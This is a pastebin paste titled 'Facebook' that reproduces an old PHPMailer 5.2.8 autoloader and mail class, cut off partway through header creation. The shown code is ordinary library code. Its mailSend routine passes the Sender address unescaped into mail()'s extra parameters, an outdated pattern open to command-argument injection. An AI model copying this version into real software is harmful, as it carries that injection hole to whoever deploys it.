Facebook
From AnonymoX9ja, 7 Years ago, written in PHP.
Embed
Download Paste or View Raw
Hits: 361
  1. <?php
  2. function PHPMailerAutoload($classname)
  3. {
  4.     $filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'class.' . strtolower($classname) . '.php';
  5.     if (is_readable($filename)) {
  6.         require $filename;
  7.     }
  8. }
  9.  
  10. if (version_compare(PHP_VERSION, '5.1.2', '>=')) {
  11.     if (version_compare(PHP_VERSION, '5.3.0', '>=')) {
  12.         spl_autoload_register('PHPMailerAutoload', true, true);
  13.     } else {
  14.         spl_autoload_register('PHPMailerAutoload');
  15.     }
  16. } else {
  17.     function __autoload($classname)
  18.     {
  19.         PHPMailerAutoload($classname);
  20.     }
  21. }
  22. ?>
  23. <?php
  24.  
  25. class PHPMailer
  26. {
  27.     public $Version = '5.2.8';
  28.     public $Priority = 3;
  29.     public $CharSet = 'iso-8859-1';
  30.     public $ContentType = 'text/plain';
  31.     public $Encoding = '8bit';
  32.     public $ErrorInfo = '';
  33.     public $From = 'root@localhost';
  34.     public $FromName = 'Root User';
  35.     public $Sender = '';
  36.     public $ReturnPath = '';
  37.     public $Subject = '';
  38.     public $Body = '';
  39.     public $AltBody = '';
  40.     public $Ical = '';
  41.     protected $MIMEBody = '';
  42.     protected $MIMEHeader = '';
  43.     protected $mailHeader = '';
  44.     public $WordWrap = 0;
  45.     public $Mailer = 'mail';
  46.     public $Sendmail = '/usr/sbin/sendmail';
  47.     public $UseSendmailOptions = true;
  48.     public $PluginDir = '';
  49.     public $ConfirmReadingTo = '';
  50.     public $Hostname = '';
  51.     public $MessageID = '';
  52.     public $MessageDate = '';
  53.     public $Host = 'localhost';
  54.     public $Port = 25;
  55.     public $Helo = '';
  56.     public $SMTPSecure = '';
  57.     public $SMTPAuth = false;
  58.     public $Username = '';
  59.     public $Password = '';
  60.     public $AuthType = '';
  61.     public $Realm = '';
  62.     public $Workstation = '';
  63.     public $Timeout = 10;
  64.     public $SMTPDebug = 0;
  65.     public $Debugoutput = 'echo';
  66.     public $SMTPKeepAlive = false;
  67.     public $SingleTo = false;
  68.     public $SingleToArray = array();
  69.     public $do_verp = false;
  70.     public $AllowEmpty = false;
  71.     public $LE = "\n";
  72.     public $DKIM_selector = '';
  73.     public $DKIM_identity = '';
  74.     public $DKIM_passphrase = '';
  75.     public $DKIM_domain = '';
  76.     public $DKIM_private = '';
  77.     public $action_function = '';
  78.     public $XMailer = '';
  79.     protected $smtp = null;
  80.     protected $to = array();
  81.     protected $cc = array();
  82.     protected $bcc = array();
  83.     protected $ReplyTo = array();
  84.     protected $all_recipients = array();
  85.     protected $attachment = array();
  86.     protected $CustomHeader = array();
  87.     protected $lastMessageID = '';
  88.     protected $message_type = '';
  89.     protected $boundary = array();
  90.     protected $language = array();
  91.     protected $error_count = 0;
  92.     protected $sign_cert_file = '';
  93.     protected $sign_key_file = '';
  94.     protected $sign_key_pass = '';
  95.     protected $exceptions = false;
  96.     const STOP_MESSAGE = 0;
  97.     const STOP_CONTINUE = 1;
  98.     const STOP_CRITICAL = 2;
  99.     const CRLF = "\r\n";
  100.  
  101.     public function __construct($exceptions = false)
  102.     {
  103.         $this->exceptions = ($exceptions == true);
  104.         if (version_compare(PHP_VERSION, '5.1.2', '>=')) {
  105.             $autoload = spl_autoload_functions();
  106.             if ($autoload === false or !in_array('PHPMailerAutoload', $autoload)) {
  107.  
  108.             }
  109.         }
  110.     }
  111.  
  112.     public function __destruct()
  113.     {
  114.         if ($this->Mailer == 'smtp') {
  115.             $this->smtpClose();
  116.         }
  117.     }
  118.  
  119.     private function mailPassthru($to, $subject, $body, $header, $params)
  120.     {
  121.         if (ini_get('mbstring.func_overload') & 1) {
  122.             $subject = $this->secureHeader($subject);
  123.         } else {
  124.             $subject = $this->encodeHeader($this->secureHeader($subject));
  125.         }
  126.         if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  127.             $result = @mail($to, $subject, $body, $header);
  128.         } else {
  129.             $result = @mail($to, $subject, $body, $header, $params);
  130.         }
  131.         return $result;
  132.     }
  133.  
  134.     protected function edebug($str)
  135.     {
  136.         if (!$this->SMTPDebug) {
  137.             return;
  138.         }
  139.         switch ($this->Debugoutput) {
  140.             case  'error_log':
  141.                 error_log($str);
  142.                 break;
  143.             case  'html':
  144.                 echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, $this->CharSet) . "<br>\n";
  145.                 break;
  146.             case  'echo':
  147.             default:
  148.                 echo $str . "\n";
  149.         }
  150.     }
  151.  
  152.     public function isHTML($isHtml = true)
  153.     {
  154.         if ($isHtml) {
  155.             $this->ContentType = 'text/html';
  156.         } else {
  157.             $this->ContentType = 'text/plain';
  158.         }
  159.     }
  160.  
  161.     public function isSMTP()
  162.     {
  163.         $this->Mailer = 'smtp';
  164.     }
  165.  
  166.     public function isMail()
  167.     {
  168.         $this->Mailer = 'mail';
  169.     }
  170.  
  171.     public function isSendmail()
  172.     {
  173.         $ini_sendmail_path = ini_get('sendmail_path');
  174.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  175.             $this->Sendmail = '/usr/sbin/sendmail';
  176.         } else {
  177.             $this->Sendmail = $ini_sendmail_path;
  178.         }
  179.         $this->Mailer = 'sendmail';
  180.     }
  181.  
  182.     public function isQmail()
  183.     {
  184.         $ini_sendmail_path = ini_get('sendmail_path');
  185.         if (!stristr($ini_sendmail_path, 'qmail')) {
  186.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  187.         } else {
  188.             $this->Sendmail = $ini_sendmail_path;
  189.         }
  190.         $this->Mailer = 'qmail';
  191.     }
  192.  
  193.     public function addAddress($address, $name = '')
  194.     {
  195.         return $this->addAnAddress('to', $address, $name);
  196.     }
  197.  
  198.     public function addCC($address, $name = '')
  199.     {
  200.         return $this->addAnAddress('cc', $address, $name);
  201.     }
  202.  
  203.     public function addBCC($address, $name = '')
  204.     {
  205.         return $this->addAnAddress('bcc', $address, $name);
  206.     }
  207.  
  208.     public function addReplyTo($address, $name = '')
  209.     {
  210.         return $this->addAnAddress('Reply-To', $address, $name);
  211.     }
  212.  
  213.     protected function addAnAddress($kind, $address, $name = '')
  214.     {
  215.         if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  216.             $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  217.             $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  218.             if ($this->exceptions) {
  219.                 throw new phpmailerException('Invalid recipient array: ' . $kind);
  220.             }
  221.             return false;
  222.         }
  223.         $address = trim($address);
  224.         $name = trim(preg_replace('/[\r\n]+/', '', $name));
  225.         if (!$this->validateAddress($address)) {
  226.             $this->setError($this->lang('invalid_address') . ': ' . $address);
  227.             $this->edebug($this->lang('invalid_address') . ': ' . $address);
  228.             if ($this->exceptions) {
  229.                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  230.             }
  231.             return false;
  232.         }
  233.         if ($kind != 'Reply-To') {
  234.             if (!isset($this->all_recipients[strtolower($address)])) {
  235.                 array_push($this->$kind, array($address, $name));
  236.                 $this->all_recipients[strtolower($address)] = true;
  237.                 return true;
  238.             }
  239.         } else {
  240.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  241.                 $this->ReplyTo[strtolower($address)] = array($address, $name);
  242.                 return true;
  243.             }
  244.         }
  245.         return false;
  246.     }
  247.  
  248.     public function setFrom($address, $name = '', $auto = true)
  249.     {
  250.         $address = trim($address);
  251.         $name = trim(preg_replace('/[\r\n]+/', '', $name));
  252.         if (!$this->validateAddress($address)) {
  253.             $this->setError($this->lang('invalid_address') . ': ' . $address);
  254.             $this->edebug($this->lang('invalid_address') . ': ' . $address);
  255.             if ($this->exceptions) {
  256.                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  257.             }
  258.             return false;
  259.         }
  260.         $this->From = $address;
  261.         $this->FromName = $name;
  262.         if ($auto) {
  263.             if (empty($this->Sender)) {
  264.                 $this->Sender = $address;
  265.             }
  266.         }
  267.         return true;
  268.     }
  269.  
  270.     public function getLastMessageID()
  271.     {
  272.         return $this->lastMessageID;
  273.     }
  274.  
  275.     public static function validateAddress($address, $patternselect = 'auto')
  276.     {
  277.         if (!$patternselect or $patternselect == 'auto') {
  278.             if (defined('PCRE_VERSION')) {
  279.                 if (version_compare(PCRE_VERSION, '8.0') >= 0) {
  280.                     $patternselect = 'pcre8';
  281.                 } else {
  282.                     $patternselect = 'pcre';
  283.                 }
  284.             } else {
  285.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  286.                     $patternselect = 'php';
  287.                 } else {
  288.                     $patternselect = 'noregex';
  289.                 }
  290.             }
  291.         }
  292.         switch ($patternselect) {
  293.             case  'pcre8':
  294.                 return (boolean)preg_match('/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
  295.             case  'pcre':
  296.                 return (boolean)preg_match('/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
  297.             case  'html5':
  298.                 return (boolean)preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address);
  299.             case  'noregex':
  300.                 return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
  301.             case  'php':
  302.             default:
  303.                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  304.         }
  305.     }
  306.  
  307.     public function send()
  308.     {
  309.         try {
  310.             if (!$this->preSend()) {
  311.                 return false;
  312.             }
  313.             return $this->postSend();
  314.         } catch (phpmailerException $exc) {
  315.             $this->mailHeader = '';
  316.             $this->setError($exc->getMessage());
  317.             if ($this->exceptions) {
  318.                 throw $exc;
  319.             }
  320.             return false;
  321.         }
  322.     }
  323.  
  324.     public function preSend()
  325.     {
  326.         try {
  327.             $this->mailHeader = '';
  328.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  329.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  330.             }
  331.             if (!empty($this->AltBody)) {
  332.                 $this->ContentType = 'multipart/alternative';
  333.             }
  334.             $this->error_count = 0;
  335.             $this->setMessageType();
  336.             if (!$this->AllowEmpty and empty($this->Body)) {
  337.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  338.             }
  339.             $this->MIMEHeader = $this->createHeader();
  340.             $this->MIMEBody = $this->createBody();
  341.             if ($this->Mailer == 'mail') {
  342.                 if (count($this->to) > 0) {
  343.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  344.                 } else {
  345.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  346.                 }
  347.                 $this->mailHeader .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))));
  348.             }
  349.             if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && !empty($this->DKIM_domain) && file_exists($this->DKIM_private)) {
  350.                 $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
  351.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF . str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  352.             }
  353.             return true;
  354.         } catch (phpmailerException $exc) {
  355.             $this->setError($exc->getMessage());
  356.             if ($this->exceptions) {
  357.                 throw $exc;
  358.             }
  359.             return false;
  360.         }
  361.     }
  362.  
  363.     public function postSend()
  364.     {
  365.         try {
  366.             switch ($this->Mailer) {
  367.                 case  'sendmail':
  368.                 case  'qmail':
  369.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  370.                 case  'smtp':
  371.                     return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  372.                 case  'mail':
  373.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  374.                 default:
  375.                     $sendMethod = $this->Mailer . 'Send';
  376.                     if (method_exists($this, $sendMethod)) {
  377.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  378.                     }
  379.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  380.             }
  381.         } catch (phpmailerException $exc) {
  382.             $this->setError($exc->getMessage());
  383.             $this->edebug($exc->getMessage());
  384.             if ($this->exceptions) {
  385.                 throw $exc;
  386.             }
  387.         }
  388.         return false;
  389.     }
  390.  
  391.     protected function sendmailSend($header, $body)
  392.     {
  393.         if ($this->Sender != '') {
  394.             if ($this->Mailer == 'qmail') {
  395.                 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  396.             } else {
  397.                 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  398.             }
  399.         } else {
  400.             if ($this->Mailer == 'qmail') {
  401.                 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  402.             } else {
  403.                 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  404.             }
  405.         }
  406.         if ($this->SingleTo === true) {
  407.             foreach ($this->SingleToArray as $toAddr) {
  408.                 if (!@$mail = popen($sendmail, 'w')) {
  409.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  410.                 }
  411.                 fputs($mail, 'To: ' . $toAddr . "\n");
  412.                 fputs($mail, $header);
  413.                 fputs($mail, $body);
  414.                 $result = pclose($mail);
  415.                 $this->doCallback(($result == 0), array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  416.                 if ($result != 0) {
  417.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  418.                 }
  419.             }
  420.         } else {
  421.             if (!@$mail = popen($sendmail, 'w')) {
  422.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  423.             }
  424.             fputs($mail, $header);
  425.             fputs($mail, $body);
  426.             $result = pclose($mail);
  427.             $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  428.             if ($result != 0) {
  429.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  430.             }
  431.         }
  432.         return true;
  433.     }
  434.  
  435.     protected function mailSend($header, $body)
  436.     {
  437.         $toArr = array();
  438.         foreach ($this->to as $toaddr) {
  439.             $toArr[] = $this->addrFormat($toaddr);
  440.         }
  441.         $to = implode(', ', $toArr);
  442.         if (empty($this->Sender)) {
  443.             $params = ' ';
  444.         } else {
  445.             $params = sprintf('-f%s', $this->Sender);
  446.         }
  447.         if ($this->Sender != '' and !ini_get('safe_mode')) {
  448.             $old_from = ini_get('sendmail_from');
  449.             ini_set('sendmail_from', $this->Sender);
  450.         }
  451.         $result = false;
  452.         if ($this->SingleTo === true && count($toArr) > 1) {
  453.             foreach ($toArr as $toAddr) {
  454.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  455.                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  456.             }
  457.         } else {
  458.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  459.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  460.         }
  461.         if (isset($old_from)) {
  462.             ini_set('sendmail_from', $old_from);
  463.         }
  464.         if (!$result) {
  465.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  466.         }
  467.         return true;
  468.     }
  469.  
  470.     public function getSMTPInstance()
  471.     {
  472.         if (!is_object($this->smtp)) {
  473.             $this->smtp = new SMTP;
  474.         }
  475.         return $this->smtp;
  476.     }
  477.  
  478.     protected function smtpSend($header, $body)
  479.     {
  480.         $bad_rcpt = array();
  481.         if (!$this->smtpConnect()) {
  482.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  483.         }
  484.         $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  485.         if (!$this->smtp->mail($smtp_from)) {
  486.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  487.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  488.         }
  489.         foreach ($this->to as $to) {
  490.             if (!$this->smtp->recipient($to[0])) {
  491.                 $bad_rcpt[] = $to[0];
  492.                 $isSent = false;
  493.             } else {
  494.                 $isSent = true;
  495.             }
  496.             $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  497.         }
  498.         foreach ($this->cc as $cc) {
  499.             if (!$this->smtp->recipient($cc[0])) {
  500.                 $bad_rcpt[] = $cc[0];
  501.                 $isSent = false;
  502.             } else {
  503.                 $isSent = true;
  504.             }
  505.             $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
  506.         }
  507.         foreach ($this->bcc as $bcc) {
  508.             if (!$this->smtp->recipient($bcc[0])) {
  509.                 $bad_rcpt[] = $bcc[0];
  510.                 $isSent = false;
  511.             } else {
  512.                 $isSent = true;
  513.             }
  514.             $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
  515.         }
  516.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  517.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  518.         }
  519.         if ($this->SMTPKeepAlive == true) {
  520.             $this->smtp->reset();
  521.         } else {
  522.             $this->smtp->quit();
  523.             $this->smtp->close();
  524.         }
  525.         if (count($bad_rcpt) > 0) {
  526.             throw new phpmailerException($this->lang('recipients_failed') . implode(', ', $bad_rcpt), self::STOP_CONTINUE);
  527.         }
  528.         return true;
  529.     }
  530.  
  531.     public function smtpConnect($options = array())
  532.     {
  533.         if (is_null($this->smtp)) {
  534.             $this->smtp = $this->getSMTPInstance();
  535.         }
  536.         if ($this->smtp->connected()) {
  537.             return true;
  538.         }
  539.         $this->smtp->setTimeout($this->Timeout);
  540.         $this->smtp->setDebugLevel($this->SMTPDebug);
  541.         $this->smtp->setDebugOutput($this->Debugoutput);
  542.         $this->smtp->setVerp($this->do_verp);
  543.         $hosts = explode(';', $this->Host);
  544.         $lastexception = null;
  545.         foreach ($hosts as $hostentry) {
  546.             $hostinfo = array();
  547.             if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  548.                 continue;
  549.             }
  550.             $prefix = '';
  551.             $tls = ($this->SMTPSecure == 'tls');
  552.             if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
  553.                 $prefix = 'ssl://';
  554.                 $tls = false;
  555.             } elseif ($hostinfo[2] == 'tls') {
  556.                 $tls = true;
  557.             }
  558.             $host = $hostinfo[3];
  559.             $port = $this->Port;
  560.             $tport = (integer)$hostinfo[4];
  561.             if ($tport > 0 and $tport < 65536) {
  562.                 $port = $tport;
  563.             }
  564.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  565.                 try {
  566.                     if ($this->Helo) {
  567.                         $hello = $this->Helo;
  568.                     } else {
  569.                         $hello = $this->serverHostname();
  570.                     }
  571.                     $this->smtp->hello($hello);
  572.                     if ($tls) {
  573.                         if (!$this->smtp->startTLS()) {
  574.                             throw new phpmailerException($this->lang('connect_host'));
  575.                         }
  576.                         $this->smtp->hello($hello);
  577.                     }
  578.                     if ($this->SMTPAuth) {
  579.                         if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
  580.                             throw new phpmailerException($this->lang('authenticate'));
  581.                         }
  582.                     }
  583.                     return true;
  584.                 } catch (phpmailerException $exc) {
  585.                     $lastexception = $exc;
  586.                     $this->smtp->quit();
  587.                 }
  588.             }
  589.         }
  590.         $this->smtp->close();
  591.         if ($this->exceptions and !is_null($lastexception)) {
  592.             throw $lastexception;
  593.         }
  594.         return false;
  595.     }
  596.  
  597.     public function smtpClose()
  598.     {
  599.         if ($this->smtp !== null) {
  600.             if ($this->smtp->connected()) {
  601.                 $this->smtp->quit();
  602.                 $this->smtp->close();
  603.             }
  604.         }
  605.     }
  606.  
  607.     public function setLanguage($langcode = 'en', $lang_path = '')
  608.     {
  609.         $PHPMAILER_LANG = array('authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ');
  610.         if (empty($lang_path)) {
  611.             $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
  612.         }
  613.         $foundlang = true;
  614.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  615.         if ($langcode != 'en') {
  616.             if (!is_readable($lang_file)) {
  617.                 $foundlang = false;
  618.             } else {
  619.                 $foundlang = include $lang_file;
  620.             }
  621.         }
  622.         $this->language = $PHPMAILER_LANG;
  623.         return ($foundlang == true);
  624.     }
  625.  
  626.     public function getTranslations()
  627.     {
  628.         return $this->language;
  629.     }
  630.  
  631.     public function addrAppend($type, $addr)
  632.     {
  633.         $addresses = array();
  634.         foreach ($addr as $address) {
  635.             $addresses[] = $this->addrFormat($address);
  636.         }
  637.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  638.     }
  639.  
  640.     public function addrFormat($addr)
  641.     {
  642.         if (empty($addr[1])) {
  643.             return $this->secureHeader($addr[0]);
  644.         } else {
  645.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>';
  646.         }
  647.     }
  648.  
  649.     public function wrapText($message, $length, $qp_mode = false)
  650.     {
  651.         $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  652.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  653.         $lelen = strlen($this->LE);
  654.         $crlflen = strlen(self::CRLF);
  655.         $message = $this->fixEOL($message);
  656.         if (substr($message, -$lelen) == $this->LE) {
  657.             $message = substr($message, 0, -$lelen);
  658.         }
  659.         $line = explode($this->LE, $message);
  660.         $message = '';
  661.         for ($i = 0; $i < count($line); $i++) {
  662.             $line_part = explode(' ', $line[$i]);
  663.             $buf = '';
  664.             for ($e = 0; $e < count($line_part); $e++) {
  665.                 $word = $line_part[$e];
  666.                 if ($qp_mode and (strlen($word) > $length)) {
  667.                     $space_left = $length - strlen($buf) - $crlflen;
  668.                     if ($e != 0) {
  669.                         if ($space_left > 20) {
  670.                             $len = $space_left;
  671.                             if ($is_utf8) {
  672.                                 $len = $this->utf8CharBoundary($word, $len);
  673.                             } elseif (substr($word, $len - 1, 1) == '=') {
  674.                                 $len--;
  675.                             } elseif (substr($word, $len - 2, 1) == '=') {
  676.                                 $len -= 2;
  677.                             }
  678.                             $part = substr($word, 0, $len);
  679.                             $word = substr($word, $len);
  680.                             $buf .= ' ' . $part;
  681.                             $message .= $buf . sprintf('=%s', self::CRLF);
  682.                         } else {
  683.                             $message .= $buf . $soft_break;
  684.                         }
  685.                         $buf = '';
  686.                     }
  687.                     while (strlen($word) > 0) {
  688.                         if ($length <= 0) {
  689.                             break;
  690.                         }
  691.                         $len = $length;
  692.                         if ($is_utf8) {
  693.                             $len = $this->utf8CharBoundary($word, $len);
  694.                         } elseif (substr($word, $len - 1, 1) == '=') {
  695.                             $len--;
  696.                         } elseif (substr($word, $len - 2, 1) == '=') {
  697.                             $len -= 2;
  698.                         }
  699.                         $part = substr($word, 0, $len);
  700.                         $word = substr($word, $len);
  701.                         if (strlen($word) > 0) {
  702.                             $message .= $part . sprintf('=%s', self::CRLF);
  703.                         } else {
  704.                             $buf = $part;
  705.                         }
  706.                     }
  707.                 } else {
  708.                     $buf_o = $buf;
  709.                     $buf .= ($e == 0) ? $word : (' ' . $word);
  710.                     if (strlen($buf) > $length and $buf_o != '') {
  711.                         $message .= $buf_o . $soft_break;
  712.                         $buf = $word;
  713.                     }
  714.                 }
  715.             }
  716.             $message .= $buf . self::CRLF;
  717.         }
  718.         return $message;
  719.     }
  720.  
  721.     public function utf8CharBoundary($encodedText, $maxLength)
  722.     {
  723.         $foundSplitPos = false;
  724.         $lookBack = 3;
  725.         while (!$foundSplitPos) {
  726.             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  727.             $encodedCharPos = strpos($lastChunk, '=');
  728.             if ($encodedCharPos !== false) {
  729.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  730.                 $dec = hexdec($hex);
  731.                 if ($dec < 128) {
  732.                     $maxLength = ($encodedCharPos == 0) ? $maxLength : $maxLength - ($lookBack - $encodedCharPos);
  733.                     $foundSplitPos = true;
  734.                 } elseif ($dec >= 192) {
  735.                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  736.                     $foundSplitPos = true;
  737.                 } elseif ($dec < 192) {
  738.                     $lookBack += 3;
  739.                 }
  740.             } else {
  741.                 $foundSplitPos = true;
  742.             }
  743.         }
  744.         return $maxLength;
  745.     }
  746.  
  747.     public function setWordWrap()
  748.     {
  749.         if ($this->WordWrap < 1) {
  750.             return;
  751.         }
  752.         switch ($this->message_type) {
  753.             case  'alt':
  754.             case  'alt_inline':
  755.             case  'alt_attach':
  756.             case  'alt_inline_attach':
  757.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  758.                 break;
  759.             default:
  760.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  761.                 break;
  762.         }
  763.     }
  764.  
  765.     public function createHeader()
  766.     {
  767.         $result = '';
  768.         $uniq_id = md5(uniqid(time()));
  769.         $this->boundary[1] = 'b1_' . $uniq_id;
  770.         $this->boundary[2] = 'b2_' . $uniq_id;
  771.         $this->boundary[3] = 'b3_' . $uniq_id;
  772.         if ($this->MessageDate == '') {
  773.             $this->MessageDate = self::rfcDate();
  774.         }
  775.         $result .= $this->headerLine('Date', $this->MessageDate);
  776.         if ($this->SingleTo === true) {
  777.             if ($this->Mailer != 'mail') {
  778.                 foreach ($this->to as $toaddr) {
